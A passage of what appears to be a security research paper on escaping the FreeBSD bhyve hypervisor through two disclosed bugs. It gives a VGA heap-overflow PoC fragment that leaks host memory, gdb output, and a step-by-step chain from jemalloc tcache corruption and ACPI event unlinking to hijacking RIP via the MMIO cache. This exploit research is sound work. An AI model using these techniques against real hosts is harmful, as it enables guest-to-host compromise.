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|=-----------------------------------------------------------------------=|
|=----=[ Tale of two hypervisor bugs - Escaping from FreeBSD bhyve ]=----=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ Reno Robert ]=---------------------------=|
|=--------------------------=[ @renorobertr ]=---------------------------=|
|=-----------------------------------------------------------------------=|
--[ Table of contents
1 - Introduction
2 - Vulnerability in VGA emulation
3 - Exploitation of VGA bug
3.1 - Analysis of memory allocations in heap
3.2 - ACPI shutdown and event handling
3.3 - Corrupting tcache_s structure
3.4 - Discovering base address of guest memory
3.5 - Out of bound write to write pointer anywhere using unlink
3.6 - MMIO emulation and RIP control methodology
3.7 - Faking arena_chunk_s structure for arbitrary free
3.8 - Code execution using MMIO vCPU cache
4 - Other exploitation strategies
4.1 - Allocating a region into another size class for free()
4.2 - PMIO emulation and corrupting inout_handlers structures
4.3 - Leaking vmctx structure
4.4 - Overwriting MMIO Red-Black tree node for RIP control
4.5 - Using PCI BAR decoding for RIP control
5 - Notes on ROP payload and process continuation
6 - Vulnerability in Firmware Configuration device
7 - Exploitation of fwctl bug
7.1 - Analysis of memory layout in bss segment
7.2 - Out of bound write to full process r/w
8 - Sandbox escape using PCI passthrough
9 - Analysis of CFI and SafeStack in HardenedBSD 12-CURRENT
9.1 - SafeStack bypass using neglected pointers
9.2 - Registering arbitrary signal handler using ACPI shutdown
10 - Conclusion
11 - References
12 - Source code and environment details
--[ 1 - Introduction
VM escape has become a popular topic of discussion over the last few years.
A good amount of research on this topic has been published for various
hypervisors like VMware, QEMU, VirtualBox, Xen and Hyper-V. Bhyve is a
hypervisor for FreeBSD supporting hardware-assisted virtualization. This
paper details the exploitation of two bugs in bhyve -
FreeBSD-SA-16:32.bhyve [1] (VGA emulation heap overflow) and CVE-2018-17160
[21] (Firmware Configuration device bss buffer overflow) and some generic
techniques which could be used for exploiting other bhyve bugs. Further,
the paper also discusses sandbox escapes using PCI device passthrough, and
Control-Flow Integrity bypasses in HardenedBSD 12-CURRENT
--[ 2 - Vulnerability in VGA emulation
FreeBSD disclosed a bug in VGA device emulation FreeBSD-SA-16:32.bhyve [1]
found by Ilja van Sprundel, which allows a guest to execute code in the
host. The bug affects virtual machines configured with 'fbuf' framebuffer
device. The below patch fixed the issue:
struct {
uint8_t dac_state;
- int dac_rd_index;
- int dac_rd_subindex;
- int dac_wr_index;
- int dac_wr_subindex;
+ uint8_t dac_rd_index;
+ uint8_t dac_rd_subindex;
+ uint8_t dac_wr_index;
+ uint8_t dac_wr_subindex;
uint8_t dac_palette[3 * 256];
uint32_t dac_palette_rgb[256];
} vga_dac;
The VGA device emulation in bhyve uses 32-bit signed integer as DAC Address
Write Mode Register and DAC Address Read Mode Register. These registers are
used to access the palette RAM, having 256 entries of intensities for each
value of red, green and blue. Data in palette RAM can be read or written by
accessing DAC Data Register [2][3].
After three successful I/O access to red, green and blue intensity values,
DAC Address Write Mode Register or DAC Address Read Mode Register is
incremented automatically based on the operation performed. Here is the
issue, the values of DAC Address Read Mode Register and DAC Address Write
Mode Register does not wrap under index of 256 since the data type is not
'uint8_t', allowing an untrusted guest to read or write past the palette
RAM into adjacent heap memory.
The out of bound read can be achieved in function vga_port_in_handler() of
vga.c file:
case DAC_DATA_PORT:
*val = sc->vga_dac.dac_palette[3 * sc->vga_dac.dac_rd_index +
sc->vga_dac.dac_rd_subindex];
sc->vga_dac.dac_rd_subindex++;
if (sc->vga_dac.dac_rd_subindex == 3) {
sc->vga_dac.dac_rd_index++;
sc->vga_dac.dac_rd_subindex = 0;
}
The out of bound write can be achieved in function vga_port_out_handler()
of vga.c file:
case DAC_DATA_PORT:
sc->vga_dac.dac_palette[3 * sc->vga_dac.dac_wr_index +
sc->vga_dac.dac_wr_subindex] = val;
sc->vga_dac.dac_wr_subindex++;
if (sc->vga_dac.dac_wr_subindex == 3) {
sc->vga_dac.dac_palette_rgb[sc->vga_dac.dac_wr_index] =
. . .
. . .
sc->vga_dac.dac_wr_index++;
sc->vga_dac.dac_wr_subindex = 0;
}
The vulnerability provides very powerful primitives - both read and write
access to heap memory of the hypervisor user space process. The only issue
is, after writing to dac_palette, the RGB value is encoded and written to
the adjacent dac_palette_rgb array as a single value. This corruption can
be corrected during the subsequent writes to dac_palette array since
dac_palette_rgb is placed next to dac_palette during the linear write. But
if the corrupted memory is used before correction, the bhyve process could
crash. Such an issue was not faced during the development of exploit under
FreeBSD 11.0-RELEASE-p1 r306420
--[ 3 - Exploitation of VGA bug
Though FreeBSD does not have ASLR, it is necessary to understand the
process memory layout, the guest features which allow allocation and
deallocation of heap memory in the host process and the ideal structures to
corrupt for gaining reliable exploit primitives. This section provides an
in-depth analysis of the exploitation of heap overflow to achieve arbitrary
code execution in the host.
----[ 3.1 - Analysis of memory allocations in heap
FreeBSD uses jemalloc allocator for dynamic memory management. Research
done by huku, argp and vats on jemalloc [4][5][6], provides great insights
into the allocator. Understanding the details provided in paper
Pseudomonarchia jemallocum [4] is essential for following many parts of
section 3. The jemalloc used in FreeBSD 11.0-RELEASE-p1 is slightly
different from the one described in papers [4][5], however, the core design
and exploitation techniques remain the same.
The user space bhyve process is multi-threaded, and hence multiple thread
caches are used by jemalloc. The threads of prime importance for this study
are 'mevent' and 'vcpu N', where N is the vCPU number. 'mevent' thread is
the main thread which does all the initialization as part of main()
function in bhyverun.c file:
int
main (int argc, char *argv[])
{
memsize = 256 * MB;
. . .
case 'm':
error = vm_parse_memsize(optarg, &memsize);
. . .
vm_set_memflags(ctx, memflags);
err = vm_setup_memory(ctx, memsize, VM_MMAP_ALL);
. . .
if (init_pci(ctx) != 0)
. . .
fbsdrun_addcpu(ctx, BSP, BSP, rip);
. . .
mevent_dispatch();
. . .
}
The first allocation of importance is the guest physical memory, mapped
into the address space of the bhyve process. A preconfigured memory of
256MB is allocated to any virtual machine. A VM can also be configured with
more memory using '-m' parameter. The guest physical memory map along with
the system memory looks like below (found in pci_emul.c):
/*
* The guest physical memory map looks like the following:
* [0, lowmem) guest system memory
* [lowmem, lowmem_limit) memory hole (may be absent)
* [lowmem_limit, 0xE0000000) PCI hole (32-bit BAR
* allocation)
* [0xE0000000, 0xF0000000) PCI extended config window
* [0xF0000000, 4GB) LAPIC, IOAPIC, HPET,
* firmware
* [4GB, 4GB + highmem)
*/
Here the lowmem_limit can be a maximum value up to 3GB. Guest system memory
is mapped into the bhyve process by calling mmap(). Along with the
requested size of guest system memory, 4MB (VM_MMAP_GUARD_SIZE) guard pages
are allocated before and after the virtual address space of the guest
system memory. The vm_setup_memory() API in lib/libvmmapi/vmmapi.c performs
the mentioned operation as below:
int
vm_setup_memory(struct vmctx *ctx, size_t memsize, enum vm_mmap_style vms)
{
. . .
/*
* If 'memsize' cannot fit entirely in the 'lowmem' segment then
* create another 'highmem' segment above 4GB for the remainder.
*/
if (memsize > ctx->lowmem_limit) {
ctx->lowmem = ctx->lowmem_limit;
ctx->highmem = memsize - ctx->lowmem_limit;
objsize = 4*GB + ctx->highmem;
} else {
ctx->lowmem = memsize;
ctx->highmem = 0;
objsize = ctx->lowmem;
}
/*
* Stake out a contiguous region covering the guest physical
* memory
* and the adjoining guard regions.
*/
len = VM_MMAP_GUARD_SIZE + objsize + VM_MMAP_GUARD_SIZE;
flags = MAP_PRIVATE | MAP_ANON | MAP_NOCORE | MAP_ALIGNED_SUPER;
ptr = mmap(NULL, len, PROT_NONE, flags, -1, 0);
. . .
baseaddr = ptr + VM_MMAP_GUARD_SIZE;
. . .
ctx->baseaddr = baseaddr;
. . .
}
Once the contiguous allocation for guest physical memory is made, the pages
are later marked as PROT_READ | PROT_WRITE and mapped into the guest
address space. The 'baseaddr' is the virtual address of guest physical
memory.
The next interesting allocation is made during the initialization of
virtual PCI devices. The init_pci() call in main() initializes all the
device emulation code including the framebuffer device. The framebuffer
device performs initialization of the VGA structure 'vga_softc' in vga.c
file as below:
void *
vga_init(int io_only)
{
struct inout_port iop;
struct vga_softc *sc;
int port, error;
sc = calloc(1, sizeof(struct vga_softc));
. . .
}
struct vga_softc {
struct mem_range mr;
. . .
struct {
uint8_t. dac_state;
int dac_rd_index;
int dac_rd_subindex;
int dac_wr_index;
int dac_wr_subindex;
uint8_t dac_palette[3 * 256];
uint32_t dac_palette_rgb[256];
} vga_dac;
};
The 'vga_softc' structure (2024 bytes) where the overflow happens is
allocated as part of tcache bin, servicing regions of size 2048 bytes. The
framebuffer device also performs a few allocations as part of the remote
framebuffer server, however, these are not significant for the exploitation
of the bug.
Next, let's analyze the memory between vga_softc structure and the guest
physical memory guard page to identify any interesting structures to
corrupt or leak. Since the out of bounds read/write is linear, guest can
only leak information until the guard page for now. The file readmemory.c
in the attached code reads the bhyve heap memory from an Ubuntu 14.04.5 LTS
guest operating system.
---[ readmemory.c ]---
. . .
iopl(3);
warnx("[+] Reading bhyve process memory...");
chunk_lw_size = getpagesize() * PAGES_TO_READ;
chunk_lw = calloc(chunk_lw_size, sizeof(uint8_t));
outb(0, DAC_IDX_RD_PORT);
for (int i = 0; i < chunk_lw_size; i++) {
chunk_lw[i] = inb(DAC_DATA_PORT);
}
for (int index = 0; index < chunk_lw_size/8; index++) {
qword = ((uint64_t *)chunk_lw)[index];
if (qword > 0) {
warnx("[%06d] => 0x%lx", index, qword);
}
}
. . .
Running the code in the guest leaks a bunch of heap pointers as below:
root@linuxguest:~/setupA/readmemory# ./readmemory
. . .
readmemory: [128483] => 0x801b6f000
readmemory: [128484] => 0x801b6f000
readmemory: [128486] => 0xe4000000b5
readmemory: [128489] => 0x100000000
readmemory: [128491] => 0x801b6fb88
readmemory: [128493] => 0x100000000
readmemory: [128495] => 0x801b701c8
readmemory: [128497] => 0x100000000
readmemory: [128499] => 0x801b70808
readmemory: [128501] => 0x100000000
readmemory: [128503] => 0x801b70e48
. . .
After some analysis, it is realized that this is tcache_s structure used by
jemalloc. Inspecting the memory with gdb provides further details:
(gdb) info threads
Id Target Id Frame
* 1 LWP 100185 of process 4891 "mevent" 0x000000080121198a in _kevent ()
* from /lib/libc.so.7
. . .
12 LWP 100198 of process 4891 "vcpu 0" 0x00000008012297da in ioctl ()
from /lib/libc.so.7
(gdb) thread 12
[Switching to thread 12 (LWP 100198 of process 4891)]
#0 0x00000008012297da in ioctl () from /lib/libc.so.7
(gdb) print *((struct tsd_s *)($fs_base-160))
$21 = {state = tsd_state_nominal, tcache = 0x801b6f000, thread_allocated =
2720, thread_deallocated = 2464, prof_tdata = 0x0, iarena = 0x801912540,
arena = 0x801912540,
arenas_tdata = 0x801a1b040, narenas_tdata = 8, arenas_tdata_bypass =
false, tcache_enabled = tcache_enabled_true, __je_quarantine = 0x0,
witnesses = {qlh_first = 0x0},
witness_fork = false}
For any thread, the thread-specific data is located at an address pointed
by $fs_base-160. The tcache address can be found by inspecting 'tsd_s'
structure. The 'vcpu 0' thread's tcache structure is the one that the guest
could access using the VGA bug. This can be confirmed by gdb:
(gdb) print *(struct tcache_s *)0x801b6f000
$1 = {link = {qre_next = 0x801b6f000, qre_prev = 0x801b6f000},
prof_accumbytes = 0, gc_ticker = {tick = 181, nticks = 228}, next_gc_bin =
0, tbins = {{tstats = {nrequests = 0},
low_water = 0, lg_fill_div = 1, ncached = 0, avail = 0x801b6fb88}}}
Since tcache structure is accessible, the tcache metadata can be corrupted
as detailed in [4] for further exploitation. The heap layout was further
analyzed under multiple CPU configurations as below:
- Guest with single vCPU and host with single CPU
- Guest with single vCPU and host with more than one CPU core
- Guest with more than one vCPU and host with more than one CPU core
Some of the observed changes are
- The number of jemalloc arenas is 4 times the number of CPU core
available. When the number of CPU core changes, the heap layout also
changes marginally. I say marginally because tcache structure can still
be reached from the 'vga_softc' structure during the overflow
- When there is more than one vCPU, each vCPU thread has its own thread
caches (tcache_s). The thread caches of vCPU's are placed one after the
other.
The thread cache structures of vCPU threads are allocated in the same chunk
as that of vga_softc structure managed by arena[0]. During a linear
overflow, the first tcache_s structure to get corrupted is that of vCPU0.
Since vCPU0 is always available under any configuration, it is a reliable
target to corrupt. The CPU affinity of exploit running in the guest should
be set to vCPU0 to ensure corrupted structures are used during the
execution of the exploit. To summarize, the heap layout looks like below:
+-----------------------------------------------------+-------+---------+
| | | |
| +---------+ +--------+ +--------+ +--------+ | | |
| |vga_softc| |tcache_s| |tcache_s|.....|tcache_s| | Guard | Guest |
| | | | vCPU0 | | vCPU1 | | vCPUX | | Page | Memory |
| +---------+ +--------+ +--------+ +--------+ | | |
| | | |
+-----------------------------------------------------+-------+---------+
This memory layout is expected to be consistent for a couple of reasons.
First, the jemalloc chunk of size 2MB is mapped by the allocator when bhyve
makes its first allocation request during _libpthread_init() ->
_thr_alloc() -> calloc(). This further goes through a series of calls
tcache_create() -> ipallocztm() -> arena_palloc() -> arena_malloc() ->
arena_malloc_large() -> arena_run_alloc_large() -> arena_chunk_alloc() ->
chunk_alloc_core() -> chunk_alloc_mmap() -> pages_map() -> mmap() (some of
the functions are skipped and library-private functions will have a prefix
__je_ to their function names). The guest memory mapped using
vm_setup_memory() during bhyve initialization will occupy the memory region
right after this jemalloc chunk due to the predictable mmap() behaviour.
Second, the 'vga_softc' structure will occupy a lower memory address in the
chunk compared to that of 'tcache_s' structures because jemalloc allocates
'tcache_s' structures using tcache_create() (serviced as large allocation
request of 32KB in this case) only when the vCPU threads make an allocation
request. Allocation of 'vga_softc' structure happens much earlier in the
initialization routine compared to the creation of vCPU threads by
fbsdrun_addcpu().
----[ 3.2 - ACPI shutdown and event handling
Next task is to find a feature which allows the guest to trigger an
allocation or deallocation after corrupting the tcache metadata. Inspecting
each of the bins, an interesting allocation was found in tbins[4]:
(gdb) print ((struct tcache_s *)0x801b6f000)->tbins[4]
$2 = {tstats = {nrequests = 1}, low_water = -1, lg_fill_div = 1, ncached =
63, avail = 0x801b71248}
(gdb) x/gx 0x801b71248-64*8
0x801b71048: 0x0000000813c10000
(gdb) x/5gx 0x0000000813c10000
0x813c10000: 0x0000000000430380 0x000000000000000f
0x813c10010: 0x0000000000000003 0x0000000801a15080
0x813c10020: 0x0000000100000000
(gdb) x/i 0x0000000000430380
0x430380 <power_button_handler>: push %rbp
(gdb) print *(struct mevent *)0x0000000813c10000
$3 = {me_func = 0x430380 <power_button_handler>, me_fd = 15, me_timid = 0,
me_type = EVF_SIGNAL, me_param = 0x801a15080, me_cq = 0, me_state = 1,
me_closefd = 0, me_list = {
le_next = 0x801a15100, le_prev = 0x801a15430}}
bhyve emulates access to I/O port 0xB2 (Advanced Power Management Control
port) to enable and disable ACPI virtual power button. A handler for
SIGTERM signal is registered through FreeBSD's kqueue mechanism [7].
'mevent' is a micro event library based on kqueue for bhyve found in
mevent.c. The library exposes a set of API for registering and modifying
events. The main 'mevent' thread handles all the events. The
mevent_dispatch() function called from main() dispatches to the respective
event handlers when an event is reported. The two notable API's of interest
for the exploitation of this bug are mevent_add() and mevent_delete().
Let's see how the 0xB2 I/O port handler in pm.c uses the mevent library:
static int
smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes,
uint32_t *eax, void *arg)
{
. . .
switch (*eax) {
case BHYVE_ACPI_ENABLE:
. . .
if (power_button == NULL) {
power_button = mevent_add(SIGTERM, EVF_SIGNAL,
power_button_handler, ctx);
old_power_handler = signal(SIGTERM, SIG_IGN);
}
break;
case BHYVE_ACPI_DISABLE:
. . .
if (power_button != NULL) {
mevent_delete(power_button);
power_button = NULL;
signal(SIGTERM, old_power_handler);
}
break;
}
. . .
}
Writing the value 0xa0 (BHYVE_ACPI_ENABLE) will trigger a call to
mevent_add() in mevent.c. mevent_add() function allocates a mevent
structure using calloc(). The events that require addition, update or
deletion are maintained in a list pointed by the list head 'change_head'.
The elements in the list are doubly linked.
struct mevent *
mevent_add(int tfd, enum ev_type type,
void (*func)(int, enum ev_type, void *), void *param)
{
. . .
mevp = calloc(1, sizeof(struct mevent));
. . .
mevp->me_func = func;
mevp->me_param = param;
LIST_INSERT_HEAD(&change_head, mevp, me_list);
. . .
}
struct mevent {
void (*me_func)(int, enum ev_type, void *);
. . .
LIST_ENTRY(mevent) me_list;
};
#define LIST_ENTRY(type) \
struct { \
struct type *le_next; /* next element */ \
struct type **le_prev; /* address of previous next element */ \
}
Similarly, writing a value 0xa1 (BHYVE_ACPI_DISABLE) will trigger a call to
mevent_delete() in mevent.c. mevent_delete() unlinks the event from the
list using LIST_REMOVE() and marks it for deletion by mevent thread:
static int
mevent_delete_event(struct mevent *evp, int closefd)
{
. . .
LIST_REMOVE(evp, me_list);
. . .
}
#define LIST_NEXT(elm, field) ((elm)->field.le_next)
#define LIST_REMOVE(elm, field) do { \
. . .
if (LIST_NEXT((elm), field) != NULL) \
LIST_NEXT((elm), field)->field.le_prev =
\
(elm)->field.le_prev;
\
*(elm)->field.le_prev = LIST_NEXT((elm), field); \
. . .
} while (0)
To summarize, guest can allocate and deallocate a mevent structure having
function and list pointers. The allocation requests are serviced by thread
cache of vCPU threads. CPU affinity could be set for the exploit code, to
force allocations from a vCPU thread of choice. i.e. vCPU0 as seen in the
previous section. Corrupting the 'tcache_s' structure of vCPU0, would allow
us to control where the mevent structure gets allocated.
----[ 3.3 - Corrupting tcache_s structure
'tcache_s' structure has an array of tcache_bin_s structures. tcache_bin_s
has a pointer (void **avail) to an array of pointers to pre-allocated
memory regions, which services allocation requests of a fixed size.
typedef struct tcache_s tcache_t;
struct tcache_s {
struct {
tcache_t *qre_next;
tcache_t *qre_prev;
} link;
uint64_t prof_accumbytes;
ticker_t gc_ticker;
szind_t next_gc_bin;
tcache_bin_t tbins[1];
}
struct tcache_bin_s {
tcache_bin_stats_t tstats;
int low_water;
unsigned int lg_fill_div;
unsigned int ncached;
void **avail;
}
As seen in section 2.1.7 and 3.3.3 of paper Pseudomonarchia jemallocum [4]
and [6], it is possible to return an arbitrary address during allocation by
corrupting thread caches. 'ncached' is the number of cached free memory
regions available for allocation. When an allocation is requested, it is
fetched as avail[-ncached] and 'ncached' gets decremented. Likewise, when
an allocation is freed, 'ncached' gets incremented, and the pointer is
added to the free list as avail[-ncached] = ptr. The allocation requests
for 'mevent' structure with size 0x40 bytes is serviced by tbin[4].avail
pointers. The 'vga_softc' out of bound read can first leak the heap memory
including the 'tcache_s' structure. Then the out of bound write can be used
to overwrite the pointers to free memory regions pointed by 'avail'. By
leaking and rewriting memory, we make sure parts of memory other than
thread caches are not corrupted. To be specific, it is only needed to
overwrite tbins[4].avail[-ncached] pointer before invoking mevent_add(). On
a side note, the event marked for deletion by mevent_delete() is freed by
mevent thread and not by vCPU0 thread. Hence the freed pointer never makes
into tbins[4].avail array of vCPU0 thread cache but becomes available in
mevent thread cache.
When calloc() request is made to allocate mevent structure in mevent_add(),
it uses the overwritten pointers of tcache_s structure. This forces the
mevent structure to be allocated at the arbitrary guest-controlled address.
Though the mevent structure can be allocated at an arbitrary address, we do
not have control over the contents written to it to turn this into a
write-anything-anywhere.
In order to modify the contents of mevent structure, one solution is to
allocate the structure into the guest system memory, mapped in the bhyve
process. Since this memory is accessible to the guest, the contents can be
directly modified from within the guest. The other solution is to allocate
the structure adjacent to the 'vga_softc' structure, use the out of bound
write again, to modify the content. The later technique will be discussed
in section 4.
The current approach to determine the 'tcache_s' structure in the leaked
memory is a signature-based search using 'tcache_s' definition implemented
as find_jemalloc_tcache() in the PoC. It is observed that the link pointers
'qre_next' and 'qre_prev' are page-aligned since 'tcache_s' allocations are
page-aligned. Moreover, there are other valid pointers such as
tbins[index].avail, which can be used as signatures. When a possible
'tcache_s' structure is located in memory, the tbins[4].avail pointer is
fetched for further analysis. Next part of this approach is to locate the
array of pointers in memory which tbins[4].avail points to, by searching
for a sequence of values varying by 0x40 (mevent allocation size). Once the
offset to avail pointer array from 'vga_softc' structure is known, we can
precisely overwrite tbin[4].avail[-ncached] to return an arbitrary address.
The 'vga_softc' address can be roughly calculated as tbins[4].avail -
(number of entries in avail * sizeof(void *)) - offset to avail array from
'vga_softc' structure. tcache_create() function in tcache.c gives a clear
understanding of tcache_s allocation and avail pointer assignment:
tcache_t *
tcache_create(tsdn_t *tsdn, arena_t *arena)
{
. . .
size = offsetof(tcache_t, tbins) + (sizeof(tcache_bin_t) * nhbins);
/* Naturally align the pointer stacks. */
size = PTR_CEILING(size);
stack_offset = size;
size += stack_nelms * sizeof(void *);
/* Avoid false cacheline sharing. */
size = sa2u(size, CACHELINE);
tcache = ipallocztm(tsdn, size, CACHELINE, true, NULL, true,
arena_get(TSDN_NULL, 0, true));
. . .
for (i = 0; i < nhbins; i++) {
tcache->tbins[i].lg_fill_div = 1;
stack_offset += tcache_bin_info[i].ncached_max *
sizeof(void *);
/*
* avail points past the available space. Allocations will
* access the slots toward higher addresses (for the
* benefit of prefetch).
*/
tcache->tbins[i].avail = (void **)((uintptr_t)tcache +
(uintptr_t)stack_offset);
}
return (tcache);
}
The techniques to locate 'tcache_s' structure has lot more scope for
improvement and further study in terms of the signature used or leaking
'tcache_s' base address directly from link pointers when qre_next ==
qre_prev
----[ 3.4 - Discovering base address of guest memory
Leaking the 'baseaddr' allows the guest to set up shared memory between the
guest and the host bhyve process. By knowing the guest physical address of
a memory allocation, the host virtual address of the guest allocation can
be calculated as 'baseaddr' + guest physical address. Fake data structures
or payloads could be injected into the bhyve process memory using this
shared memory from the guest [8].
Due to the memory layout observed in section 3.1, if we can leak at least
one pointer within the jemalloc chunk before guest memory pages (which is
the case here), the base address of chunk can be calculated. Jemalloc in
FreeBSD 11.0 uses chunks of size 2 MB, aligned to its size.
CHUNK_ADDR2BASE() macro in jemalloc calculates the base address of a chunk,
given any pointer in a chunk as below:
#define CHUNK_ADDR2BASE(a) \
((void *)((uintptr_t)(a) & ~chunksize_mask))
where chunksize_mask is '(chunksize - 1)' and 'chunksize' is 2MB. Once the
chunk base address is known, the base address of guest memory can be
calculated as chunk base address + chunk size + VM_MMAP_GUARD_SIZE (4MB)
Another way to get the base address is by leaking the 'vmctx' structure
from lower memory of chunk. This will be discussed as part of section 4.3.
----[ 3.5 - Out of bound write to write pointer anywhere using unlink
Once the guest allocates the mevent structure within its system memory, it
can overwrite the 'power_button_handler' callback and wait until the host
turns off the VM. SIGTERM signal will be delivered to the bhyve process
during poweroff, which in turn triggers the overwritten handler, giving RIP
control. However, this approach has a drawback - the guest needs to wait
until the VM is powered off from the host.
To eliminate this host interaction, the next idea is to use the list
unlink. By corrupting the previous and next pointers of the list, we can
write an arbitrary value to an arbitrary address using LIST_REMOVE() in
mevent_delete_event() (section 3.2). The major limitation of this approach
is that the value written should also be a writable address. Hence function
pointers cannot be directly overwritten.
With the ability to write a writable address to arbitrary address, the next
step is to find a target to overwrite to control RIP indirectly.
----[ 3.6 - MMIO emulation and RIP control methodology
The PCI hole memory region of guest memory (section 3.1) is not mapped and
is used for device emulation. Any access to this memory will trigger an
Extended Page Table (EPT) fault resulting in VM-exit. The
vmx_exit_process() in the VMM code src/sys/amd64/vmm/intel/vmx.c invokes
the respective handler based on the VM-exit reason.
static int
vmx_exit_process(struct vmx *vmx, int vcpu, struct vm_exit *vmexit)
{
. . .
case EXIT_REASON_EPT_FAULT:
/*
* If 'gpa' lies within the address space allocated to
* memory then this must be a nested page fault otherwise
* this must be an instruction that accesses MMIO space.
*/
gpa = vmcs_gpa();
if (vm_mem_allocated(vmx->vm, vcpu, gpa) ||
apic_access_fault(vmx, vcpu, gpa)) {
vmexit->exitcode = VM_EXITCODE_PAGING;
. . .
} else if (ept_emulation_fault(qual)) {
vmexit_inst_emul(vmexit, gpa, vmcs_gla());
vmm_stat_incr(vmx->vm, vcpu, VMEXIT_INST_EMUL, 1);
}
. . .
}
vmexit_inst_emul() sets the exit code to 'VM_EXITCODE_INST_EMUL' and other
exit details for further emulation. The VM_RUN ioctl used to run the
virtual machine then calls vm_handle_inst_emul() in sys/amd64/vmm/vmm.c, to
check if the Guest Physical Address (GPA) accessed is emulated in-kernel.
If not, the exit information is passed on to the user space for emulation.
int
vm_run(struct vm *vm, struct vm_run *vmrun)
{
. . .
case VM_EXITCODE_INST_EMUL:
error = vm_handle_inst_emul(vm, vcpuid, &retu);
break;
. . .
}
MMIO emulation in the user space is done by the vmexit handler
vmexit_inst_emul() in bhyverun.c. vm_loop() dispatches execution to the
respective handler based on the exit code.
static void
vm_loop(struct vmctx *ctx, int vcpu, uint64_t startrip)
{
. . .
error = vm_run(ctx, vcpu, &vmexit[vcpu]);
. . .
exitcode = vmexit[vcpu].exitcode;
. . .
rc = (*handler[exitcode])(ctx, &vmexit[vcpu], &vcpu);
}
static vmexit_handler_t handler[VM_EXITCODE_MAX] = {
. . .
[VM_EXITCODE_INST_EMUL] = vmexit_inst_emul,
. . .
};
The user space device emulation is interesting for this exploit because it
has the right data structures to corrupt using the list unlink. The memory
ranges and callbacks for each user space device emulation is stored in a
red-black tree. When a PCI BAR is programmed to map a MMIO region using
register_mem() or when a memory region is registered explicitly through
register_mem_fallback() in mem.c, the information is added to mmio_rb_root
and mmio_rb_fallback RB trees respectively. During an instruction
emulation, the red-black trees are traversed to find the node which has the
handler for the guest physical address which caused the EPT fault. The
red-black tree nodes are defined by the structure 'mmio_rb_range' in mem.c
struct mmio_rb_range {
RB_ENTRY(mmio_rb_range) mr_link; /* RB tree links */
struct mem_range mr_param;
uint64_t mr_base;
uint64_t mr_end;
};
The 'mr_base' element is the starting address of a memory range, and
'mr_end' marks the ending address of the memory range. The 'mem_range'
structure is defined in mem.h, has the pointer to the handler and arguments
'arg1' and 'arg2' along with 6 other arguments.
typedef int (*mem_func_t)(struct vmctx *ctx, int vcpu, int dir, uint64_t
addr,
int size, uint64_t *val, void *arg1, long arg2);
struct mem_range {
const char *name;
int flags;
mem_func_t handler;
void *arg1;
long arg2;
uint64_t base;
uint64_t size;
};
To avoid red-black tree lookup each time when there is an instruction
emulation, a per-vCPU MMIO cache is used. Since most accesses from a vCPU
will be to a consecutive address in a device memory range, the result of
the red-black tree lookup is maintained in an array 'mmio_hint'. When
emulate_mem() is called by vmexit_inst_emul(), first the MMIO cache is
looked up to see if there is an entry. If yes, the guest physical address
is checked against 'mr_base' and 'mr_end' value to validate the cache
entry. If it is not the expected entry, it is a cache miss. Then the
red-black tree is traversed to find the correct entry. Once the entry is
found, vmm_emulate_instruction() in sys/amd64/vmm/vmm_instruction_emul.c
(common code for user space and the VMM) is called for further emulation.
static struct mmio_rb_range *mmio_hint[VM_MAXCPU];
int
emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie,
struct vm_guest_paging *paging)
{
. . .
if (mmio_hint[vcpu] &&
paddr >= mmio_hint[vcpu]->mr_base &&
paddr <= mmio_hint[vcpu]->mr_end) {
entry = mmio_hint[vcpu];
} else
entry = NULL;
if (entry == NULL) {
if (mmio_rb_lookup(&mmio_rb_root, paddr, &entry) == 0) {
/* Update the per-vCPU cache */
mmio_hint[vcpu] = entry;
} else if (mmio_rb_lookup(&mmio_rb_fallback, paddr,
&entry)) {
. . .
err = vmm_emulate_instruction(ctx, vcpu, paddr, vie, paging,
mem_read, mem_write,
&entry->mr_param);
. . .
}
vmm_emulate_instruction() further calls into instruction specific handlers
like emulate_movx(), emulate_movs() etc. based on the opcode type. The
wrappers mem_read() and mem_write() in mem.c call the registered handlers
with corresponding 'mem_range' structure for a virtual device.
int
vmm_emulate_instruction(void *vm, int vcpuid, uint64_t gpa, struct vie
*vie,
struct vm_guest_paging *paging, mem_region_read_t memread,
mem_region_write_t memwrite, void *memarg)
{
. . .
switch (vie->op.op_type) {
. . .
case VIE_OP_TYPE_MOVZX:
error = emulate_movx(vm, vcpuid, gpa, vie,
memread, memwrite, memarg);
break;
. . .
}
static int
emulate_movx(void *vm, int vcpuid, uint64_t gpa, struct vie *vie,
mem_region_read_t memread, mem_region_write_t memwrite,
void *arg)
{
. . .
switch (vie->op.op_byte) {
case 0xB6:
. . .
error = memread(vm, vcpuid, gpa, &val, 1, arg);
. . .
}
static int
mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void
*arg)
{
int error;
struct mem_range *mr = arg;
error = (*mr->handler)(ctx, vcpu, MEM_F_READ, gpa, size,
rval, mr->arg1, mr->arg2);
return (error);
}
static int
mem_write(void *ctx, int vcpu, uint64_t gpa, uint64_t wval, int size, void
*arg)
{
int error;
struct mem_range *mr = arg;
error = (*mr->handler)(ctx, vcpu, MEM_F_WRITE, gpa, size,
&wval, mr->arg1, mr->arg2);
return (error);
}
By overwriting the mmio_hint[0], i.e. cache of vCPU0, the guest can control
the entire 'mmio_rb_range' structure during the lookup for MMIO emulation.
Guest further gains control of RIP during the call to mem_read() or
mem_write(), since mr->handler can point to an arbitrary value. The
corrupted handler 'mr->handler' takes 8 arguments in total. The last two
arguments, 'mr->arg1' and 'mr->arg2' therefore gets pushed on to the stack.
This gives some control over the stack, which could be used for stack
pivot.
In summary, corrupt jemalloc thread cache, use ACPI event handling to
allocate mevent structure in guest, modify the list pointers, delete the
event to trigger an unlink, use the unlink to overwrite 'mmio_hint[0]' to
gain control of RIP.
+--------------------------+
| |
+------v-----++------------+ |
|mmio_hint[0]||mmio_hint[1]| |
+------------++------------+ |
+-----------------------+----+----+-------------------------------------+
| Heap |....| | Guest Memory |
| |....|+---+-----------------------------------+ |
| |....|| | 2MB Huge Page | |
| |....|| +-+---------------+ | |
| |....|| | | mevent | | |
|+---------+ +--------+ |....|| | | +-----------+ | | |
||vga_softc| |tcache_s| |....|| | | | next +-+----------+ | |
|| | | vCPU0 | |....|| | | +-----------+ | | | |
|+---------+ +---+----+ |....|| | | +-----------+ | +--------v--------+ |
| | |....|| | +-+ previous | | | Fake | |
| | |....|| | +-----------+ | | mmio_rb_range | |
| | |....|| +---------^-------+ +-----------------+ |
| | |....|+-----------+---------------------------+ |
+----------------+------+----+------------+-----------------------------+
